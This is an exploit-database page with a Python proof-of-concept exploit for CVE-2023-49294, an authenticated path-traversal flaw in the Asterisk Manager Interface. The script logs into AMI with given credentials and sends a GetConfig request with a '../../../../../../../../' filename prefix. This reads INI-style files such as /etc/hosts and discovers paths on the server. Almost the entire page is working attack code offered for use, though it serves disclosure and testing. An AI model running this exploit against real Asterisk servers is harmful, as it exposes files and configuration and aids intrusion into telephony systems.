Share
## https://sploitus.com/exploit?id=PACKETSTORM:177819
# Exploit Title: Asterisk AMI - Partial File Content & Path Disclosure (Authenticated)  
# Date: 2023-03-26  
# Exploit Author: Sean Pesce  
# Vendor Homepage: https://asterisk.org/  
# Software Link: https://downloads.asterisk.org/pub/telephony/asterisk/old-releases/  
# Version: 18.20.0  
# Tested on: Debian Linux  
# CVE: CVE-2023-49294  
  
#!/usr/bin/env python3  
#  
# Proof of concept exploit for CVE-2023-49294, an authenticated vulnerability in Asterisk AMI that  
# facilitates filesystem enumeration (discovery of existing file paths) and limited disclosure of  
# file contents. Disclosed files must adhere to the Asterisk configuration format, which is similar  
# to the common INI configuration format.  
#  
# References:  
# https://nvd.nist.gov/vuln/detail/CVE-2023-49294  
# https://github.com/asterisk/asterisk/security/advisories/GHSA-8857-hfmw-vg8f  
# https://docs.asterisk.org/Asterisk_18_Documentation/API_Documentation/AMI_Actions/GetConfig/  
  
  
import argparse  
import getpass  
import socket  
import sys  
  
  
CVE_ID = 'CVE-2023-49294'  
  
DEFAULT_PORT = 5038  
DEFAULT_FILE = '/etc/hosts'  
DEFAULT_ACTION_ID = 0  
DEFAULT_TCP_READ_SZ = 1048576 # 1MB  
  
  
  
def ami_msg(action, args, encoding='utf8'):  
assert type(action) == str, f'Invalid type for AMI Action (expected string): {type(action)}'  
assert type(args) == dict, f'Invalid type for AMI arguments (expected dict): {type(args)}'  
if 'ActionID' not in args:  
args['ActionID'] = 0  
line_sep = '\r\n'  
data = f'Action: {action}{line_sep}'  
for a in args:  
data += f'{a}: {args[a]}{line_sep}'  
data += line_sep  
return data.encode(encoding)  
  
  
  
def tcp_send_rcv(sock, data, read_sz=DEFAULT_TCP_READ_SZ):  
assert type(data) in (bytes, bytearray, memoryview), f'Invalid data type (expected bytes): {type(data)}'  
sock.sendall(data)  
resp = b''  
while not resp.endswith(b'\r\n\r\n'):  
resp += sock.recv(read_sz)  
return resp  
  
  
  
if __name__ == '__main__':  
# Parse command-line arguments  
argparser = argparse.ArgumentParser()  
argparser.add_argument('host', type=str, help='The host name or IP address of the Asterisk AMI server')  
argparser.add_argument('-p', '--port', type=int, help=f'Asterisk AMI TCP port (default: {DEFAULT_PORT})', default=DEFAULT_PORT)  
argparser.add_argument('-u', '--user', type=str, help=f'Asterisk AMI user', required=True)  
argparser.add_argument('-P', '--password', type=str, help=f'Asterisk AMI secret', default=None)  
argparser.add_argument('-f', '--file', type=str, help=f'File to read (default: {DEFAULT_FILE})', default=DEFAULT_FILE)  
argparser.add_argument('-a', '--action-id', type=int, help=f'Action ID (default: {DEFAULT_ACTION_ID})', default=DEFAULT_ACTION_ID)  
if '-h' in sys.argv or '--help' in sys.argv:  
print(f'Proof of concept exploit for {CVE_ID} in Asterisk AMI. More information here: \nhttps://nvd.nist.gov/vuln/detail/{CVE_ID}\n', file=sys.stderr)  
argparser.print_help()  
sys.exit(0)  
args = argparser.parse_args()  
  
# Validate command-line arguments  
assert 1 <= args.port <= 65535, f'Invalid port number: {args.port}'  
args.host = socket.gethostbyname(args.host)  
if args.password is None:  
args.password = getpass.getpass(f'[PROMPT] Enter the AMI password for {args.user}: ')  
  
print(f'[INFO] Proof of concept exploit for {CVE_ID}', file=sys.stderr)  
print(f'[INFO] Connecting to Asterisk AMI: {args.user}@{args.host}:{args.port}', file=sys.stderr)  
  
# Connect to the Asterisk AMI server  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
sock.connect((args.host, args.port))  
  
# Read server banner  
banner = sock.recv(DEFAULT_TCP_READ_SZ)  
print(f'[INFO] Connected to {banner.decode("utf8").strip()}', file=sys.stderr)  
  
# Authenticate to the Asterisk AMI server  
login_msg = ami_msg('Login', {'Username':args.user,'Secret':args.password})  
login_resp = tcp_send_rcv(sock, login_msg)  
while b'Authentication' not in login_resp:  
login_resp = tcp_send_rcv(sock, b'')  
if b'Authentication accepted' not in login_resp:  
print(f'\n[ERROR] Invalid credentials: \n{login_resp.decode("utf8")}', file=sys.stderr)  
sys.exit(1)  
#print(f'[INFO] Authenticated: {login_resp.decode("utf8")}', file=sys.stderr)  
print(f'[INFO] Login success', file=sys.stderr)  
  
# Obtain file data via path traversal  
traversal = '../../../../../../../../'  
cfg_msg = ami_msg('GetConfig', {  
'ActionID': args.action_id,  
'Filename': f'{traversal}{args.file}',  
#'Category': 'default',  
#'Filter': 'name_regex=value_regex,',  
})  
resp = tcp_send_rcv(sock, cfg_msg)  
while b'Response' not in resp:  
resp = tcp_send_rcv(sock, b'')  
  
print(f'', file=sys.stderr)  
print(f'{resp.decode("utf8")}')  
  
if b'Error' in resp:  
sys.exit(1)  
  
pass # Done